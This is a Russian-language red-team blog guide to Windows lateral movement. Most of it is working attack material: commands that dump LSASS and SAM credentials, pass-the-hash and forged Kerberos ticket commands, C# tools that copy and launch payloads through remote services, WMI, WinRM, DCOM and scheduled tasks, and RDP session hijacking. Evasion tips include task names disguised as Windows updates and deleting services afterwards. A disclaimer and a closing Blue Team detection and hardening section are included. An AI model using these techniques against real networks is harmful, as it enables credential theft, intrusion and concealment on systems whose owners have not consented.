Lateral Movement 2026 — Полный гайд: техники, инструменты, код

Posted on 1 апреля, 2026 by AkaTor

Категория: Red Team / Offensive Security
Уровень: Intermediate → Advanced
Автор: Aka Tor
Дата: Апрель 2026

Введение

Lateral Movement — этап атаки, на котором противник уже находится внутри сети и перемещается между хостами. Это мост между первоначальным доступом и конечной целью: контроллер домена, файловый сервер, бэкапы.

В 2026 году EDR-решения обнаруживают большинство классических техник. Статья покрывает **все** основные методы — от стандартных (PsExec) до менее распространённых (DCOM, WinRM, RDP hijacking), с рабочим кодом и указанием уровня обнаружения для каждой техники.

Предупреждение: Материал предназначен для авторизованного пентестинга и Red Team операций. Несанкционированное использование преследуется по закону.

Содержание

---

1. Pass-the-Hash (PtH)

NTLM-аутентификация не требует знания пароля в открытом виде — достаточно NTLM-хэша. Хэш извлекается из LSASS или SAM, после чего используется напрямую для аутентификации на удалённом хосте.

Извлечение хэшей

Mimikatz:

```
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
```

Дамп LSASS через comsvcs.dll (встроенный в Windows):

```
# Создание дампа процесса LSASS
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process
lsass).Id C:\temp\lsass.dmp full

# Офлайн-парсинг на атакующей машине
pypykatz lsa minidump lsass.dmp
```

Извлечение из SAM/SYSTEM (локальные аккаунты):

```
# Экспорт registry hives
reg save HKLM\SAM C:\temp\sam
reg save HKLM\SYSTEM C:\temp\system
reg save HKLM\SECURITY C:\temp\security

# Офлайн-извлечение хэшей
secretsdump.py -sam sam -system system -security security LOCAL
```

Использование хэша

Impacket (Linux → Windows):

```
# PtH через различные протоколы
psexec.py -hashes :64f12cddaa88057e06a81b54e73b949b
DOMAIN/Administrator@192.168.1.10
wmiexec.py -hashes :64f12cddaa88057e06a81b54e73b949b
DOMAIN/Administrator@192.168.1.10
smbexec.py -hashes :64f12cddaa88057e06a81b54e73b949b
DOMAIN/Administrator@192.168.1.10
atexec.py -hashes :64f12cddaa88057e06a81b54e73b949b
DOMAIN/Administrator@192.168.1.10 "whoami"
```

Mimikatz (Windows → Windows):

```
# Создание процесса с NTLM-токеном целевого пользователя
sekurlsa::pth /user:Administrator /domain:CORP
/ntlm:64f12cddaa88057e06a81b54e73b949b /run:cmd.exe

# Из полученного cmd — доступ к удалённому хосту
dir \\192.168.1.10\C$
psexec.exe \\192.168.1.10 cmd.exe
```

Обнаружение: Event 4624 (Logon Type 3/9), Sysmon Event 10 (обращение к процессу LSASS). Все EDR отслеживают доступ к LSASS.
Обход: Офлайн-парсинг дампа на машине атакующего. Экспорт SAM через reg save — если EDR не отслеживает экспорт registry hives.

---

2. Pass-the-Ticket (PtT) / Kerberos

Вместо NTLM-хэша используются Kerberos-билеты (TGT или TGS). Преимущество — работает даже если NTLM отключён, а Kerberos в Active Directory активен всегда.

Извлечение билетов

```
# Rubeus — дамп всех билетов текущего пользователя
Rubeus.exe dump /nowrap

# Mimikatz — экспорт билетов в .kirbi файлы
mimikatz.exe "kerberos::list /export" "exit"

# Rubeus — запрос TGT по хэшу (Overpass-the-Hash)
Rubeus.exe asktgt /user:Administrator
/rc4:64f12cddaa88057e06a81b54e73b949b /ptt
```

Overpass-the-Hash (OPTH)

Гибрид PtH и PtT — NTLM-хэш используется для запроса Kerberos TGT:

```
# Хэш → TGT → инъекция в текущую сессию
Rubeus.exe asktgt /user:svc_sql /domain:corp.local
/rc4:64f12cddaa88057e06a81b54e73b949b /ptt

# После этого Kerberos-аутентификация работает прозрачно
dir \\DC01.corp.local\SYSVOL
Enter-PSSession DC01
```

Golden Ticket

При наличии хэша учётной записи krbtgt — полный контроль над доменом:

```
# Mimikatz
kerberos::golden /user:FakeAdmin /domain:corp.local
/sid:S-1-5-21-123456789-123456789-123456789
/krbtgt:64f12cddaa88057e06a81b54e73b949b /ptt

# Rubeus
Rubeus.exe golden /rc4:64f12cddaa88057e06a81b54e73b949b
/user:FakeAdmin /domain:corp.local /sid:S-1-5-21-... /ptt
```

Silver Ticket

Подделка TGS для конкретного сервиса — не требует хэша krbtgt, достаточно хэша сервисной учётной записи:

```
# Silver ticket для CIFS (SMB) на целевом сервере
kerberos::golden /user:FakeUser /domain:corp.local /sid:S-1-5-21-...
/target:FILE01.corp.local /service:cifs /rc4:<hash_service_account>
/ptt
```

Обнаружение: Event 4768/4769 (запрос TGT/TGS), аномальный тип шифрования (RC4 в 2026 году — серьёзный индикатор).
Обход: Использование AES256 — билеты выглядят легитимно. Golden и Silver Tickets не создают событий в журнале при генерации.

---

3. PsExec и варианты

Создаёт сервис на удалённом хосте через SMB (административный ресурс), запускает его и предоставляет интерактивный shell.

Sysinternals PsExec

```
# Стандартный вызов
psexec.exe \\192.168.1.10 -u CORP\Administrator -p Password123 cmd.exe

# Запуск от имени SYSTEM
psexec.exe \\192.168.1.10 -s -i cmd.exe
```

Impacket psexec.py

```
# С паролем
psexec.py CORP/Administrator:Password123@192.168.1.10

# С хэшем
psexec.py -hashes :64f12cddaa88057e06a81b54e73b949b
CORP/Administrator@192.168.1.10
```

```
# С Kerberos-билетом
export KRB5CCNAME=/tmp/admin.ccache
psexec.py -k -no-pass CORP/Administrator@DC01.corp.local
```

Собственная реализация PsExec на C#

```
using System;
using System.Runtime.InteropServices;

class CustomPsExec
{
    [DllImport("advapi32.dll", SetLastError = true, CharSet =
CharSet.Unicode)]
    static extern IntPtr OpenSCManager(string machine, string db, uint
access);

    [DllImport("advapi32.dll", SetLastError = true, CharSet =
CharSet.Unicode)]
    static extern IntPtr CreateService(IntPtr hSCManager, string name,
string displayName,
        uint desiredAccess, uint serviceType, uint startType, uint
errorControl,
        string binaryPathName, string loadOrderGroup, IntPtr tagId,
        string dependencies, string serviceStartName, string
password);

    [DllImport("advapi32.dll", SetLastError = true)]
    static extern bool StartService(IntPtr hService, int numArgs,
string[] args);

    [DllImport("advapi32.dll", SetLastError = true)]
    static extern bool DeleteService(IntPtr hService);

    [DllImport("advapi32.dll", SetLastError = true)]
    static extern bool CloseServiceHandle(IntPtr handle);

    static void Main(string[] args)
    {
```

```
        string target = args[0];    // \\192.168.1.10
        string payload = args[1];   // C:\payload\beacon.exe

        // 1. Копирование payload через SMB
        System.IO.File.Copy(payload,
$@"{target}\C$\Windows\Temp\svc.exe", true);

        // 2. Открытие SCM на удалённом хосте
        IntPtr scm = OpenSCManager(target, null, 0xF003F);

        // 3. Создание сервиса
        IntPtr svc = CreateService(scm, "AdvancedSystemCare",
"Advanced System Care",
            0xF01FF, 0x10, 0x3, 0x0,
            @"C:\Windows\Temp\svc.exe",
            null, IntPtr.Zero, null, null, null);

        // 4. Запуск
        StartService(svc, 0, null);

        // 5. Удаление следов
        DeleteService(svc);
        CloseServiceHandle(svc);
        CloseServiceHandle(scm);
    }
}
```

Обнаружение: Event 7045 (создание сервиса), Sysmon Event 1 (создание процесса), Event 5145 (доступ к SMB-ресурсу). Стандартная сигнатура — имя процесса PSEXESVC.exe.
Обход: Собственный бинарь с произвольным именем сервиса. Однако Event 7045 генерируется в любом случае.

---

4. WMI (Windows Management Instrumentation)

WMI позволяет удалённо создавать процессы через DCOM (порт 135 и динамические порты). Не создаёт файлов на диске, если payload передаётся в командной строке.

Командная строка

```
# wmic (устарел в Windows 11, но функционален)
wmic /node:192.168.1.10 /user:CORP\Administrator /password:Password123
process call create "cmd.exe /c whoami > C:\temp\out.txt"
```

PowerShell

```
# Через WMI
Invoke-WmiMethod -ComputerName 192.168.1.10 -Class Win32_Process -Name
Create -ArgumentList "powershell -enc " -Credential (Get-Credential)

# Через CIM (современная замена)
$session = New-CimSession -ComputerName 192.168.1.10 -Credential (Get-
Credential)
Invoke-CimMethod -CimSession $session -ClassName Win32_Process -
MethodName Create -Arguments @{CommandLine="calc.exe"}
```

Impacket

```
# Полуинтерактивный shell через WMI
wmiexec.py CORP/Administrator:Password123@192.168.1.10
wmiexec.py -hashes :64f12cddaa88057e06a81b54e73b949b
CORP/Administrator@192.168.1.10
```

C# — WMI lateral movement

```
using System;
using System.Management;

class WmiLateral
{
    static void Main(string[] args)
    {
```

```
        string target = "192.168.1.10";
        string command = @"powershell -w hidden -enc ";

        var connOptions = new ConnectionOptions
        {
            Username = @"CORP\Administrator",
            Password = "Password123",
            Impersonation = ImpersonationLevel.Impersonate,
            EnablePrivileges = true
        };

        var scope = new ManagementScope($@"\\{target}\root\cimv2",
connOptions);
        scope.Connect();

        var processClass = new ManagementClass(scope, new
ManagementPath("Win32_Process"), null);
        var inParams = processClass.GetMethodParameters("Create");
        inParams["CommandLine"] = command;

        var result = processClass.InvokeMethod("Create", inParams,
null);
        Console.WriteLine($"PID: {result["ProcessId"]}, Return:
{result["ReturnValue"]}");
    }
}
```

Обнаружение: Event 4648 (явная аутентификация), Sysmon Event 1 (родительский процесс — WmiPrvSE.exe), исходящие соединения на порт 135.
Обход: Отсутствие записи на диск. WMI — легитимный инструмент администрирования, визуально неотличим от штатного использования.

---

5. WinRM / PowerShell Remoting

Windows Remote Management — встроенный протокол удалённого управления (HTTP/HTTPS, порты 5985/5986). PowerShell Remoting построен поверх WinRM.

PowerShell

```
# Интерактивная сессия
Enter-PSSession -ComputerName DC01 -Credential CORP\Administrator

# Выполнение команды на нескольких хостах параллельно
Invoke-Command -ComputerName DC01,FILE01,WEB01 -ScriptBlock { whoami;
hostname } -Credential CORP\Administrator

# Загрузка и выполнение скрипта
$targets = Get-Content servers.txt
Invoke-Command -ComputerName $targets -FilePath C:\tools\payload.ps1
```

Evil-WinRM (Linux)

```
# С паролем
evil-winrm -i 192.168.1.10 -u Administrator -p Password123

# С хэшем
evil-winrm -i 192.168.1.10 -u Administrator -H
64f12cddaa88057e06a81b54e73b949b

# С Kerberos
evil-winrm -i DC01.corp.local -r corp.local

# Передача файлов
*Evil-WinRM* PS> upload /tmp/beacon.exe C:\temp\beacon.exe
*Evil-WinRM* PS> download C:\Users\Admin\Desktop\secrets.txt
```

C# — WinRM через WSMan API

```
using System;
using System.Management.Automation;
using System.Management.Automation.Runspaces;

class WinRMLateral
{
    static void Main(string[] args)
    {
```

```
        string target = "DC01.corp.local";
        string cmd = "whoami; ipconfig; net user";

        var cred = new PSCredential("CORP\\Administrator",
            ConvertToSecureString("Password123"));

        var connInfo = new WSManConnectionInfo(
            new Uri($"http://{target}:5985/wsman"),
"http://schemas.microsoft.com/powershell/Microsoft.PowerShell",
            cred);
        connInfo.AuthenticationMechanism =
AuthenticationMechanism.Negotiate;

        using (var runspace =
RunspaceFactory.CreateRunspace(connInfo))
        {
            runspace.Open();
            using (var ps = PowerShell.Create())
            {
                ps.Runspace = runspace;
                ps.AddScript(cmd);
                foreach (var r in ps.Invoke())
                    Console.WriteLine(r);
            }
        }
    }

    static System.Security.SecureString ConvertToSecureString(string
s)
    {
        var ss = new System.Security.SecureString();
        foreach (char c in s) ss.AppendChar(c);
        return ss;
    }
}
```

Обнаружение: Event 4648, Event 91 (WSMan session), PowerShell Script Block Logging (Event 4104), порты 5985/5986.

Обход: При отключённом PowerShell Logging — практически невидимо. Легитимный трафик для системных администраторов.

---

6. DCOM (Distributed COM)

COM-объекты можно активировать удалённо через DCOM. Некоторые COM-классы позволяют создавать процессы. Техника менее распространена — соответственно, уровень обнаружения ниже.

MMC20.Application

```
$dcom = [System.Activator]::CreateInstance(
    [Type]::GetTypeFromProgID("MMC20.Application", "192.168.1.10"))
$dcom.Document.ActiveView.ExecuteShellCommand(
    "cmd.exe", $null, "/c powershell -enc ", "Minimized")
```

ShellWindows

```
$dcom = [System.Activator]::CreateInstance(
    [Type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39",
"192.168.1.10"))
$item = $dcom.Item()
$item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe",
"C:\Windows\System32", $null, 0)
```

ShellBrowserWindow

```
$dcom = [System.Activator]::CreateInstance(
    [Type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880",
"192.168.1.10"))
$dcom.Document.Application.ShellExecute("cmd.exe", "/c whoami >
C:\temp\out.txt", "", "", 0)
```

Excel.Application (при наличии Office)

```
$excel = [System.Activator]::CreateInstance(
    [Type]::GetTypeFromProgID("Excel.Application", "192.168.1.10"))
```

```
$excel.DisplayAlerts = $false
$excel.DDEInitiate("cmd", "/c powershell -enc ")
```

C# — DCOM lateral movement

```
using System;

class DcomLateral
{
    static void Main(string[] args)
    {
        string target = "192.168.1.10";
        string command = "cmd.exe /c powershell -enc ";

        Type comType = Type.GetTypeFromProgID("MMC20.Application",
target);
        dynamic mmc = Activator.CreateInstance(comType);
        mmc.Document.ActiveView.ExecuteShellCommand(
            "cmd.exe", null, "/c " + command, "Minimized");

        Console.WriteLine("[+] Command executed via DCOM on " +
target);
    }
}
```

Обнаружение: Event 4648, DCOM-трафик на порт 135 и динамические порты. Процесс создаётся под mmc.exe/explorer.exe — нетипичный родительский процесс.
Обход: Отсутствие записи на диск, сервисов, и PowerShell Logging. Многие EDR **не отслеживают** DCOM-вызовы.

---

7. SMB + Scheduled Tasks

Создание запланированной задачи на удалённом хосте через SMB (\\target\IPC$). Менее заметно, чем создание сервиса.

schtasks.exe

```
# Создание задачи
schtasks /create /s 192.168.1.10 /u CORP\Administrator /p Password123
/tn "WindowsUpdate" /tr "cmd.exe /c powershell -enc " /sc once /st
00:00 /ru SYSTEM

# Немедленный запуск
schtasks /run /s 192.168.1.10 /u CORP\Administrator /p Password123 /tn
"WindowsUpdate"

# Удаление
schtasks /delete /s 192.168.1.10 /u CORP\Administrator /p Password123
/tn "WindowsUpdate" /f
```

Impacket atexec.py

```
# Автоматически создаёт задачу, выполняет, забирает вывод, удаляет
atexec.py CORP/Administrator:Password123@192.168.1.10 "whoami"
atexec.py -hashes :64f12cddaa88057e06a81b54e73b949b
CORP/Administrator@192.168.1.10 "ipconfig /all"
```

C# — удалённая запланированная задача

```
using System;
using Microsoft.Win32.TaskScheduler;

class SchedTaskLateral
{
    static void Main(string[] args)
    {
        string target = "192.168.1.10";

        using (var ts = new TaskService(target, "Administrator",
"CORP", "Password123"))
        {
            var td = ts.NewTask();
            td.RegistrationInfo.Description = "Windows Update Check";
            td.Actions.Add(new ExecAction("cmd.exe", "/c powershell -
```

```
enc "));
            td.Principal.UserId = "SYSTEM";
            td.Principal.RunLevel = TaskRunLevel.Highest;

            var task = ts.RootFolder.RegisterTaskDefinition(
                "MicrosoftEdgeUpdate", td,
                TaskCreation.CreateOrUpdate,
                "SYSTEM", null,
                TaskLogonType.ServiceAccount);

            task.Run();

            System.Threading.Thread.Sleep(5000);
            ts.RootFolder.DeleteTask("MicrosoftEdgeUpdate");
        }
    }
}
```

Обнаружение: Event 4698 (создание задачи), Event 4702 (обновление задачи), Event 106 (регистрация задачи).
Обход: Имя задачи можно замаскировать под легитимный процесс обновления. Задача запускается от SYSTEM.

---

8. RDP Hijacking

Если на сервере существует отключённая (disconnected) RDP-сессия другого пользователя, к ней можно подключиться **без пароля** при наличии привилегий SYSTEM.

Через tscon.exe

```
# 1. Просмотр активных сессий
query user
# USERNAME       SESSIONNAME    ID  STATE
# admin          rdp-tcp#1       2  Active
# svc_backup                     3  Disc       ← цель (disconnected)
```

```
# 2. Получение привилегий SYSTEM
psexec.exe -s cmd.exe

# 3. Подключение к отключённой сессии
tscon 3 /dest:rdp-tcp#1
# Мгновенное переключение на сессию svc_backup без ввода пароля
```

Через создание сервиса

```
# Сервис выполнит tscon от имени SYSTEM
sc create rdphijack binpath= "cmd.exe /k tscon 3 /dest:rdp-tcp#1"
sc start rdphijack
```

SharpRDP — удалённый RDP без графического интерфейса

```
# Выполнение команды через RDP без открытия графической сессии
SharpRDP.exe computername=192.168.1.10 command="powershell -enc "
username=CORP\Administrator password=Password123
```

Обнаружение: Event 4778/4779 (переподключение/отключение сессии), Event 1149 (RDP-аутентификация). tscon hijack **не генерирует** Event 4624 (вход в систему).
Обход: Одна из наиболее скрытных техник. Многие SIEM не отслеживают Event 4778.

---

9. SSH (Windows OpenSSH)

Windows 10/11 и Server 2019+ включают встроенный OpenSSH-сервер. При активации — полноценный канал для перемещения.

```
# Проверка доступности SSH на целевом хосте
Test-NetConnection 192.168.1.10 -Port 22

# Подключение
ssh Administrator@192.168.1.10

# Проброс портов (pivoting)
ssh -L 8080:10.10.10.5:80 Administrator@192.168.1.10
ssh -D 1080 Administrator@192.168.1.10  # SOCKS-прокси
```

```
# Передача файлов
scp payload.exe Administrator@192.168.1.10:C:\Temp\
```

Обнаружение: Sysmon Event 3 (сетевое соединение на порт 22), Event 4624 (вход в систему).
Обход: SSH-трафик зашифрован. Если SSH-сервер включён легитимно — сложно отличить от штатного администрирования.

---

10. Сравнительная таблица

Техника	Порты	Запись на диск	Новый сервис	Уровень обнаружения	Требования
PsExec	445	Да	Да	Высокий	Admin + SMB
WMI	135+dyn	Нет	Нет	Средний	Admin + DCOM
WinRM	5985/86	Нет	Нет	Средний	Admin + WinRM
DCOM	135+dyn	Нет	Нет	Низкий	Admin + DCOM
Sched Task	445	Нет*	Нет	Средний	Admin + SMB
RDP Hijack	3389	Нет	Нет	Низкий	SYSTEM local
SSH	22	Нет	Нет	Низкий	SSH creds
Pass-the-Hash	varies	Нет	Нет	Высокий**	NTLM hash
Pass-the-Ticket	88	Нет	Нет	Средний	Kerberos tkt

* Payload может выполняться в памяти (powershell -enc)
** Обнаруживается на этапе извлечения хэша (обращение к LSASS)

---

11. Рекомендации для Blue Team

Обнаружение

1. Event 4624 Type 3 (Network Logon) — особенно из нестандартных источников
2. Event 7045 (создание сервиса) — PsExec и аналоги
3. Event 4698/4702 (создание/изменение запланированной задачи)
4. Event 4778/4779 (переподключение сессии) — RDP hijacking
5. Sysmon Event 1 — родительский процесс WmiPrvSE.exe, wsmprovhost.exe, mmc.exe
6. Sysmon Event 3 — исходящие соединения на порты 135, 445, 5985, 5986
7. PowerShell Script Block Logging (Event 4104) — закодированные команды
8. Event 4648 (явная аутентификация) — PtH/lateral auth
9. Kerberos Event 4768/4769 — нетипичный тип шифрования RC4
10. Sysmon Event 10 — обращение к LSASS с GrantedAccess 0x1010 или 0x1FFFFF

Защита

1. Отключение NTLM где возможно — принудительное использование Kerberos
2. Credential Guard — защита процесса LSASS
3. Ограничение административных входов — запрет Domain Admin на рабочих станциях (модель уровней)
4. LAPS — уникальные пароли локального администратора на каждом хосте
5. Отключение WinRM на рабочих станциях — только серверы, где это необходимо
6. Блокировка межмашинного DCOM — правила межсетевого экрана на порт 135 и динамические порты
7. Группа Protected Users — запрет кэширования учётных данных
8. Обязательная подпись SMB — защита от relay-атак
9. Отключение RC4 для Kerberos — принудительное использование AES
10. Сегментация сети — ограничение путей перемещения между хостами

Заключение

Lateral movement в 2026 году — это баланс между заметностью и результативностью. PsExec обнаруживается всеми средствами защиты, тогда как DCOM и RDP hijacking проходят мимо многих SOC. Ключевой принцип: **используй то, что уже установлено на хосте** (Living off the Land). Чем меньше привносишь — тем меньше следов.

Для Red Team: начинайте с WMI/WinRM (легитимный трафик), переключайтесь на DCOM при плотном мониторинге, RDP hijack — для закрепления. PsExec — только когда скрытность не является приоритетом.

Для Blue Team: покрытие Event 7045 + 4698 + 4778 + Sysmon закрывает 90% техник. Credential Guard + LAPS + сегментация сети — закрывает остальное.